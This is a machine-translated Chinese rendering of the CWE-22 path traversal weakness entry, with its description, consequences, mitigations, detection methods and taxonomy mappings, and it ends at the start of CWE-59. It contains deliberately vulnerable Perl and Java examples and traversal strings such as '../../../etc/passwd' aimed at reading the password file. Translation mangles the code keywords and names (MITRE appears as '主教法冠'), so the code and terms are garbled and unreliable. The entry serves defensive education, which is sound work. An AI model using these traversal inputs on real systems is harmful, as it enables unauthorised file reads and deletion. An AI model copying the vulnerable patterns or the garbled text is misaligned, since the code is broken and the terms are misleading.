2021-07-20 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-04-28 CWE内容团队 主教法冠
更新的关系
2022-06-28 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2022-10-13 CWE内容团队 主教法冠
更新引用关系
+以前的条目名称
改变日期 以前的条目名称
2009-01-12 足够的输入验证

CWE-22:不当限制限制目录的路径名(“路径遍历”)

弱点ID: 22
抽象:基地
结构:简单的
视图定制的信息:
+描述
产品使用外部输入来构造一个路径名,目的是为了辨别一个文件或目录,坐落在父目录的限制,但是产品不正确路径名中的中和特殊元素可以导致路径名来解决限制目录以外的位置。
+扩展描述

许多文件操作的目的是发生在一个受限制的目录。通过使用特殊的元素,如“. .”和“/”分隔符,攻击者可以逃避限制以外的位置来访问系统上的其他文件或目录。最常见的一种特殊的元素是“. ./”序列,这在大多数现代操作系统都被解释为父目录的当前位置。这被称为相对路径遍历。路径遍历还包括使用绝对路径名,如“/ usr /地方/ bin”,这也可能是有用的在获得意想不到的文件。这被称为绝对路径遍历。

在许多编程语言,注入一个null字节(0或NUL)可能允许攻击者截断生成的文件名扩大攻击范围。例如,产品可能会增加”。txt”任何路径,从而限制了攻击者文本文件,但是零注入可能有效地去除这种限制。

+替代条款
目录遍历
路径遍历:
优先在“路径遍历目录遍历,”这两个术语是attack-focused。
+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 668年 曝光资源错误的球体
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 706年 使用Incorrectly-Resolved名称或引用
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 23 相对路径遍历
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 36 绝对路径遍历
光束 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 20. 不正确的输入验证
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 73年 外部控制文件名或路径
光束 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 172年 编码错误
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 706年 使用Incorrectly-Resolved名称或引用
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”方案及质量的措施(2020)”(CWE-1305)
自然 类型 ID 的名字
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 23 相对路径遍历
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 36 绝对路径遍历
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”方案及数据保护措施”(cwe - 1340)
自然 类型 ID 的名字
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 23 相对路径遍历
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 36 绝对路径遍历
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
架构和设计
实现
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

类:不是特定于语言的患病率(待定)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
完整性
保密
可用性

技术的影响:执行未经授权的代码或命令

攻击者可以创建或覆盖关键文件用于执行代码,如项目或库。
完整性

技术的影响:修改文件或目录

攻击者可以覆盖或创建重要文件,如项目、图书馆、或重要数据。如果目标文件是用于安全机制,那么攻击者可能能够绕过机制。例如,添加一个新帐户的密码文件可能允许攻击者绕过身份验证。
保密

技术的影响:读文件或目录

攻击者可以读意想不到的内容文件和暴露敏感数据。如果目标文件是用于安全机制,那么攻击者可能能够绕过机制。例如,通过阅读密码文件,攻击者可以进行暴力破解密码猜测攻击为了打入系统上的一个帐户。
可用性

技术的影响:DoS:崩溃,退出或重新启动

攻击者可以覆盖、删除或腐败的意想不到的重要文件等项目,图书馆,或重要的数据。这可能防止产品在所有工作和保护机制,如身份验证的情况下,它有可能锁定产品的每个用户。
+利用的可能性
+示范例子

示例1

下面的代码可以为社交网络应用程序的每个用户的配置信息存储在一个单独的文件中。所有文件都存储在一个目录中。

(坏的代码)
例如语言:Perl
dataPath公司美元= " /用户/ cwe /配置文件”;
我的$ username =参数(“用户”);
我的profilePath = dataPath公司美元。“/”。美元的用户名;

开放(我跳频美元," < ",$ profilePath) | | ExitError(“配置文件读取错误:$ profilePath”);
打印“< ul > \ n”;
而(< $ fh >) {
打印”<李> $ _ < /李> \ n”;
}
打印”< / ul > \ n”;

而程序员打算访问文件,如“/用户/ cwe / profiles /爱丽丝”或“/用户/ cwe / profiles / bob”,没有验证传入的用户参数。攻击者可以提供一个字符串,例如:

(攻击代码)
. . / . . / . . / etc / passwd

程序将生成一个配置文件路径名是这样的:

(结果)
/用户/ cwe / profiles / . . / . . / . . / etc / passwd

文件打开时,操作系统解决了”。/”在路径规范化和访问这个文件:

(结果)
/ etc / passwd

因此,攻击者可以读取整个密码的文本文件。

注意,这段代码还包含一个错误消息信息泄漏cwe - 209)如果用户参数不会产生一个存在的文件:提供完整的路径名。由于缺乏检索输出编码的文件,也可能是一个跨站点脚本问题(cwe - 79)如果概要文件包含任何HTML,但是其他代码需要检查。

示例2

在下面的示例中,一个字典文件的路径从一个系统属性读取并用来初始化一个文件对象。

(坏的代码)
例如语言:Java
字符串文件名= System.getProperty (“com.domain.application.dictionaryFile”);
文件dictionaryFile =新文件(文件名);

然而,道路并不确认或修改,以防止它包含相对或绝对路径序列之前创建File对象。这允许任何人可以控制系统属性来确定使用什么文件。理想情况下,路径应相对于解决一些应用程序或用户的主目录。

示例3

下面的代码将不受信任的输入,并使用一个正则表达式来过滤”. .从输入/”。然后将这个结果/home/user/目录并试图读取文件最后生成的路径。

(坏的代码)
例如语言:Perl
我的用户名=美元GetUntrustedInput ();
用户名= ~ s / \美元。\ \ / / /;
我的$ filename =“/ home / user /”。美元的用户名;
ReadAndSendFile ($ filename);

自正则表达式没有/ g全球匹配修饰符,它只删除第一个实例“. ./“遇到。所以一个输入值,例如:

(攻击代码)
. . / . . / . . / etc / passwd

将第一个“. ./“剥夺,导致:

(结果)
. . / . . / etc / passwd

这个值然后连接/home/user/目录:

(结果)
/home/user/../../etc/passwd

导致检索/ etc / passwd文件一旦操作系统解决了. .在路径名/序列。这导致相对路径遍历(CWE-23)。

示例4

下面的代码尝试验证给定输入路径通过检查它对一个allowlist一旦删除给定的文件进行验证。在这个特定的例子中,被认为是有效的路径字符串开头“safe_dir /”。

(坏的代码)
例如语言:Java
字符串路径= getInputPath ();
如果(path.startsWith (" / safe_dir / "))
{
文件f =新文件(路径);
f.delete ()
}

攻击者可以提供这样的一个输入:

(攻击代码)
/ safe_dir / . . / important.dat

软件假设路径是有效的,因为它始于“safe_path /”序列,但“. ./”将导致程序删除重要的序列。dat文件的父目录

示例5

下面的代码演示了无限制上传文件的Java servlet和路径遍历的脆弱性。HTML表单的动作属性是上传文件将请求发送给Java servlet。

(好的代码)
例如语言:HTML
<形式action = " FileUploadServlet " method = " post " enctype = "多部分/格式" >

选择一个文件上传:
< input type = " file " name = "文件名" / >
< br / >
< input type = " submit " name =“提交”value = " submit " / >

> < /形式

当提交的Java servlet的doPost方法将接收请求,从Http请求中提取文件的名称标题,读取文件内容从请求和输出文件到本地上传目录。

(坏的代码)
例如语言:Java
公开课FileUploadServlet扩展HttpServlet {


保护无效doPost (HttpServletRequest请求,HttpServletResponse响应)抛出ServletException IOException {
response.setContentType (" text / html ");
PrintWriter = response.getWriter ();
字符串contentType = request.getContentType ();

/ /边界头的起始位置
int印第安纳= contentType.indexOf(“边界= ");
字符串边界= contentType.substring(印第安纳州+ 9);

字符串多义线=新的字符串();
字符串uploadLocation =新的字符串(UPLOAD_DIRECTORY_STRING);/ /恒定值

/ /验证内容类型是多部分表单数据
如果(contentType ! = null & & contentType.indexOf(“多部分/格式”)! = 1){
/ /从Http报头中提取文件名
BufferedReader br = new BufferedReader(新InputStreamReader (request.getInputStream ()));

多段线= br.readLine ();
字符串文件名= pLine.substring (pLine.lastIndexOf (“\ \”), pLine.lastIndexOf (" \ "));


/ /输出文件到本地上传目录
尝试{
BufferedWriter bw = new BufferedWriter(新FileWriter (uploadLocation +文件名,真的));
(字符串行;(= br.readLine行())!)=零;{
如果(line.indexOf(边界)= = 1){
bw.write(线);
bw.newLine ();
bw.flush ();
}
}/ / for循环的结束
bw.close ();


}捕捉(IOException特异){…}
/ /输出成功上传响应的HTML页面
}
/ /输出成功上传响应的HTML页面
其他的
{…}
}
}

这段代码不执行检查上传文件的类型(cwe - 434)。这可能允许攻击者上传任何可执行文件或其他文件与恶意代码。

此外,BufferedWriter对象的创建主题相对路径遍历(CWE-23)。由于代码不提供检查文件名的头,攻击者可以使用“. ./“序列写文件之外的目的目录。根据执行环境中,攻击者可以指定任意文件编写,导致各种各样的后果,从代码执行,XSS (cwe - 79),或者系统崩溃。

+观察到的例子
参考 描述
Python包管理器指定的文件名不正确地限制在一个附加头,允许任意文件读取使用路径遍历序列,如“. . /”
使用不安全的os.path Python包构造文件名。加入呼吁不受信任的输入,允许因为os.path绝对路径遍历。加入重置路径名指定绝对路径,作为输入的一部分。
目录遍历Go-based Kubernetes运营商应用允许访问数据从文件系统控制器的豆荚通过. ./在yaml文件序列
链:云计算虚拟化平台不需要身份验证上传的tar格式文件(cwe - 306),然后使用. .路径遍历序列(CWE-23)在文件访问意想不到的文件,如利用每中钢协KEV在野外。
Kubernetes包经理写的去允许恶意插件路径遍历序列插入插件存档(“Zip”)来复制一个文件在目标目录
链:安全产品不当输入验证(CWE-20)导致目录遍历(CWE-22),利用每中钢协KEV在野外。
Go-based归档库允许提取的文件位置之外的目标文件夹与“. ./“路径遍历序列在一个zip文件的文件名,又名“邮政滑”
万博下载包通讯模块允许读取任意文件使用“. ./”序列。
FTP服务器允许删除任意文件使用“. .”删除命令。
FTP服务器允许创建任意目录使用[“. .”命令。
FTP服务的蓝牙设备允许清单目录,和创建或阅读的文件使用“. .”序列。
软件包维护程序允许覆盖任意文件使用“. ./”序列。
公告板允许攻击者使用《阿凡达》来确定文件的存在。
PHP程序允许任意代码执行使用美联储的文件名“. .”包括()函数。
覆盖的文件使用. .Torrent文件。
聊天程序使用一个定制的笑脸请求允许覆盖文件。
链:外部控制的值为用户所需的语言和主题使路径遍历。
链:库文件直接发送重定向如果要求但继续执行,允许远程文件包含和路径遍历。
+潜在的缓解措施

实施阶段:

策略:输入验证

假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。

不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。

验证文件名时,用严格的allowlists限制使用的字符集。如果可行,只允许一个“。”字符的文件名,以避免弱点等CWE-23,排除目录分隔符“/”等,以避免CWE-36。使用许可文件扩展名的列表,这将有助于避免cwe - 434

不完全依赖一个过滤机制,消除潜在的危险人物。这相当于一个denylist,这可能是不完整的(cwe - 184)。例如,过滤保护“/”是不够的,如果文件系统还支持使用作为目录分隔符“\”。另一个可能的错误可能发生过滤时,仍然会产生危险的数据(cwe - 182)。例如,如果“. ./“序列是远离“……/ /字符串以顺序的方式,两个实例“. ./”将从原始字符串中删除,但其余字符仍将形成“. ./”字符串。

阶段:体系结构和设计

对于任何一个在客户端执行安全检查,确保这些检查复制在服务器端,为了避免cwe - 602。攻击者可以绕过客户端检查通过修改值后,检查执行,或通过改变客户端完全删除客户端检查。然后,这些修改的值将被提交到服务器。

实施阶段:

策略:输入验证

输入应该解码和规范化应用程序当前的内部表示之前验证(cwe - 180)。确保应用程序不会解码输入两次相同(cwe - 174)。这些错误可以用来绕过allowlist验证方案通过引入危险的输入后检查。

使用一个内置的路径规范化功能(如realpath (C))产生规范版本的路径名,有效地消除了“. .”序列和符号链接(CWE-23,CWE-59)。这包括:

  • 在C realpath ()
  • 在Java getCanonicalPath ()
  • GetFullPath()在ASP.NET
  • 在Perl realpath()或abs_path ()
  • 在PHP realpath ()

阶段:体系结构和设计

策略:库或框架

使用审查库或框架不允许这个弱点发生或提供了结构,使这个弱点更容易避免的。

阶段:操作

防火墙策略:

使用应用程序防火墙,可以检测到攻击这个弱点。它可以是有益的情况下,代码不能固定(因为它是由第三方控制),作为一项紧急预防措施,更全面的软件保证措施被应用,或者提供深度防御。

有效性:温和

注意:应用程序防火墙不可能覆盖所有可能的输入向量。此外,攻击技术可能可以绕过保护机制,比如使用畸形的输入,仍然可以由组件接收处理这些输入。根据功能的不同,应用程序防火墙可能会无意中拒绝或修改合法请求。最后,一些手动工作可能需要定制。

阶段:体系结构和设计;操作

策略:环境硬化

使用所需的最低特权运行您的代码来完成必要的任务(ref - 76]。如果可能的话,创建独立帐户权限有限,只用于一个任务。这样,一个成功的攻击不会立即给攻击者访问其他软件或其环境。例如,数据库应用程序很少需要作为数据库管理员运行,特别是在日常操作。

阶段:体系结构和设计

战略:执行的转换

组接受对象时,如文件名或url,是有限的或已知,从一组固定的输入值创建一个映射(比如数字id)实际的文件名或url,并拒绝所有其他输入。

例如,ID 1可以映射到“收件箱。txt”和ID 2可以映射到“profile.txt”。特性如ESAPI AccessReferenceMap [ref - 185提供此功能。

阶段:体系结构和设计;操作

策略:沙盒或监狱

运行代码的“监狱”或类似沙箱环境执行严格的流程和操作系统之间的边界。这可能有效地限制哪些文件可以在一个特定的目录或访问哪些命令可以执行的软件。

操作系统的例子包括Unix chroot监狱,AppArmor对,SELinux。在一般情况下,托管代码可能会提供一些保护。例如,java。FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

这可能不是一个可行的解决方案,它只限制对操作系统的影响;应用程序的其余部分可能仍然接受妥协。

应该注意避免cwe - 243和其他相关弱点监狱。

有效性:有限

注意:这种缓解的有效性取决于特定的沙盒或监狱的预防功能使用,只可能有助于减少攻击的范围,比如限制攻击者对特定文件系统的系统调用或限制部分,可以访问。

阶段:体系结构和设计;操作

策略:减少攻击表面

存储库,包括和实用程序文件之外的web文档根,如果可能的话。否则,将它们存储在一个单独的目录,并使用web服务器的访问控制功能,防止攻击者直接请求。一个常见的做法是定义一个固定的常数在每个调用程序,然后检查存在的恒定在图书馆/包含文件;如果持续的不存在,那么直接请求的文件,它可以立即退出。

这会显著减少的机会攻击者能够绕过任何保护机制的基础程序但不包括文件。这也会减少攻击表面。

实施阶段:

确保错误消息只包含最小的细节,目标受众是有用的,没有其他人。消息需要罢工之间的平衡过于神秘的(可以迷惑用户)或过于详细的(可能揭示超过预期)。不应该透露的消息的方法被用来确定错误。攻击者可以使用详细信息完善或优化他们最初的攻击,从而增加成功的机会。

如果必须捕捉到一些细节错误,记录在日志消息,但想想会发生什么,如果日志消息可以被攻击者。高度敏感的信息,如密码永远不应该被保存到日志文件中。

避免不一致的消息可能会意外地提示攻击者对内部状态,如是否存在一个用户帐户。

的上下文路径遍历,错误消息披露路径信息可以帮助攻击者起草相应的攻击字符串通过文件系统层次结构。

阶段:操作;实现

策略:环境硬化

使用PHP时,配置应用程序,以便它不使用register_globals。在实现,开发应用程序,以便它不依赖于这个特性,但是小心实现register_globals的模拟等弱点cwe - 95,cwe - 621和类似的问题。
+弱点Ordinalities
Ordinality 描述
(其他弱点的弱点存在独立的)
合成
(缺点是通常与其他弱点的存在)
+检测方法

自动静态分析

自动化技术可以找到路径遍历的弱点存在的领域。然而,调整或定制可能需要删除或de-prioritize path-traversal问题由产品的管理员只是可利用的-或其他特权用户,因此潜在的有效的行为或,在最坏的情况下,一个错误,而不是弱点。

有效性:高

人工静态分析

手动白盒技术可以提供足够的代码覆盖率和减少误报,如果所有的文件访问操作可以在有限的时间约束。

有效性:高

自动静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 字节码的弱点分析,包括反汇编程序+源代码弱点分析
成本有效的部分报道:
  • 二进制弱点分析,包括反汇编程序+源代码弱点分析

有效性:高

人工静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 二进制/字节码反汇编程序,然后使用手动分析缺陷和异常

有效性:飙升部分

动态分析与自动化的结果解释

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • Web应用程序扫描
  • Web服务的扫描仪
  • 数据库扫描仪

有效性:高

动态分析与人工解释结果

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 模糊测试
  • 基于框架Fuzzer

有效性:高

人工静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 手工源代码审查(不检查)
成本有效的部分报道:
  • 关注人工抽查,手动分析来源

有效性:高

自动静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 源代码缺陷分析仪
  • Context-configured源代码分析器

有效性:高

体系结构或设计审查

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 正式的方法/ Correct-By-Construction
成本有效的部分报道:
  • 检验(IEEE 1028标准)(适用于需求、设计、源代码,等等)。

有效性:高

+功能区域
  • 文件处理
+影响资源
  • 文件或目录
+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 715年 OWASP十大2007类别A4 -不安全的直接对象引用
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 723年 OWASP十大2004类别A2 -破碎的访问控制
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 743年 CERT C安全编码标准(2008)第十章-输入输出(FIO)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 802年 2010年前25 -资源管理风险
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 813年 OWASP十大2010类别A4 -不安全的直接对象引用
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 865年 2011年前25 -资源管理风险
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 877年 CERT c++安全编码部分09 -输入输出(FIO)
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 884年 CWE横截面
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 932年 OWASP十大2013类别A4 -不安全的直接对象引用
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 981年 SFP二级集群:路径遍历
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1031年 OWASP 2017年十大类别A5,破碎的访问控制
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1131年 方案》(2016)——安全质量措施
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1179年 01 SEI CERT Perl编码标准,指导方针。输入验证和数据卫生处理(IDS)
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1200年 弱点在2019 CWE最危险的软件错误
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1308年 方案及质量措施,安全
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1337年 2021 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1340年 方案及数据保护措施
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1345年 OWASP 2021年十大类别A01:2021——破碎的访问控制
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1350年 2020 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1387年 2022 CWE最危险软件的弱点的弱点
+笔记

的关系

路径名等价可以被看作是一种规范化的错误。

的关系

一些路径名等价问题并不直接相关目录遍历,而用于绕过安全相关的检查文件/目录是否可以被攻击者访问(例如一个落后于“/”文件名可以绕过末尾不要指望/访问规则,导致服务器提供文件时,通常不会)。

术语

像其他弱点,术语通常是基于使用的操作类型,而不是潜在的弱点。有些人使用“目录遍历”只指注入“. .”和相同的序列,它的具体含义是遍历目录。

其他变体,如“绝对路径”和“驱动器”的影响* *目录遍历,但有些人可能不叫它,因为它不涉及“. .”或等价的。

研究的差距

许多变体的路径遍历超对袭击可能是根本原因。cwe - 790cwe - 182开始覆盖这部分差距。

研究的差距

不完整的诊断或报告的漏洞可以让它很难知道哪些变量影响。例如,研究人员可能会说,“. .\“是脆弱的,但不是测试”。/”,也可能是脆弱的。

目录分隔符的任意组合(“/”、“\”,等等)和数字的“。”(e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 路径遍历
OWASP十大2007 A4 CWE更具体 不安全的直接对象引用
OWASP十大2004 A2 CWE更具体 破碎的访问控制
CERT C安全编码 FIO02-C 规范化路径名来自不受信任的来源
SEI CERT Perl编码标准 IDS00-PL 确切的 规范化路径名之前验证它们
WASC 33 路径遍历
软件故障模式 SFP16 路径遍历
OMG ASCSM ASCSM -CWE-22
+引用
[REF-7]大卫迈克尔·霍华德和勒布朗。编写安全代码。11章,“目录遍历和使用父路径(. .)”Page 370. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing -安全-代码- 9780735617223>。
REF-45 OWASP。“OWASP企业安全API (ESAPI)项目”。<http://www.owasp.org/index.php/ESAPI>。
OWASP (ref - 185)。“测试路径遍历(owasp -阿兹- 001)”。<http://www.owasp.org/index.php/Testing_for_Path_Traversal_ (owasp -阿兹- 001)>。
[ref - 186]约翰内斯·乌尔里希。“前25系列——等级7 -路径遍历”。无软件安全研究所。2010-03-09。<http://blogs.sans.org/appsecstreetfighter/2010/03/09/top-25-series-rank-7-path-traversal/>。
(ref - 76)肖恩·巴纳姆和迈克尔Gegick。“最小特权”。2005-09-14。<https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>。
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第9章,“文件名和路径”,503页。1版。艾迪生卫斯理》2006。
(ref - 962)对象管理组织(OMG)。“自动源代码安全措施(ASCSM)”。ASCSM-CWE-22。2016 - 01。<http://www.omg.org/spec/ASCSM/1.0/>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+贡献
贡献的日期 贡献者 组织
2022-07-11 尼克·约翰斯顿
识别的弱点在Perl中演示的例子
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Potential_Mitigations Time_of_Introduction
2008-08-15 Veracode
建议OWASP 2004年排名前十的映射
2008-09-08 CWE内容团队 主教法冠
更新Alternate_Terms、关系、Other_Notes、Relationship_Notes Relevant_Properties, Taxonomy_Mappings Weakness_Ordinalities
2008-10-14 CWE内容团队 主教法冠
更新描述
2008-11-24 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2009-07-27 CWE内容团队 主教法冠
更新Potential_Mitigations
2010-02-16 CWE内容团队 主教法冠
更新Alternate_Terms、Applicable_Platforms Common_Consequences Demonstrative_Examples,描述,Detection_Factors, Likelihood_of_Exploit,名字,Observed_Examples, Other_Notes, Potential_Mitigations,引用,Related_Attack_Patterns, Relationship_Notes,关系,Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction Weakness_Ordinalities
2010-06-21 CWE内容团队 主教法冠
更新Common_Consequences Demonstrative_Examples,描述、Detection_Factors Potential_Mitigations引用关系
2010-09-27 CWE内容团队 主教法冠
更新Potential_Mitigations
2010-12-13 CWE内容团队 主教法冠
更新Potential_Mitigations
2011-03-29 CWE内容团队 主教法冠
更新Potential_Mitigations
2011-06-27 CWE内容团队 主教法冠
更新的关系
2011-09-13 CWE内容团队 主教法冠
更新Potential_Mitigations、引用关系,Taxonomy_Mappings
2012-05-11 CWE内容团队 主教法冠
更新Demonstrative_Examples、引用关系
2012-10-30 CWE内容团队 主教法冠
更新Potential_Mitigations
2013-02-21 CWE内容团队 主教法冠
更新Observed_Examples
2013-07-17 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2014-06-23 CWE内容团队 主教法冠
更新Other_Notes Research_Gaps
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors、关系、Taxonomy_Mappings
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-01-19 CWE内容团队 主教法冠
更新Related_Attack_Patterns
2017-05-03 CWE内容团队 主教法冠
更新Demonstrative_Examples
2017-11-08 CWE内容团队 主教法冠
更新Affected_Resources、Causal_Nature Likelihood_of_Exploit、引用关系,Relevant_Properties Taxonomy_Mappings
2018-03-27 CWE内容团队 主教法冠
更新引用关系
2019-01-03 CWE内容团队 主教法冠
更新引用,Related_Attack_Patterns、关系、Taxonomy_Mappings
2019-06-20 CWE内容团队 主教法冠
更新Related_Attack_Patterns、关系类型
2019-09-19 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新Potential_Mitigations、人际关系
2020-06-25 CWE内容团队 主教法冠
更新Demonstrative_Examples Potential_Mitigations
2020-08-20 CWE内容团队 主教法冠
更新的关系
2020-12-10 CWE内容团队 主教法冠
更新Potential_Mitigations、人际关系
2021-03-15 CWE内容团队 主教法冠
更新Demonstrative_Examples、人际关系
2021-07-20 CWE内容团队 主教法冠
更新的关系
2021-10-28 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2022-06-28 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2022-10-13 CWE内容团队 主教法冠
更新Observed_Examples,引用
2023-01-31 CWE内容团队 主教法冠
更新Common_Consequences、描述Detection_Factors
+以前的条目名称
改变日期 以前的条目名称
2010-02-16 路径遍历

CWE-59:不当链接之前决议文件访问(“链接后”)

弱点ID: 59
抽象:基地
结构:简单的
视图定制的信息:
+描述
产品基于文件名试图访问一个文件,但它不适当阻止,文件名标识一个链接或快捷方式,解决了一个意想不到的资源。
+替代条款
不安全的临时文件:
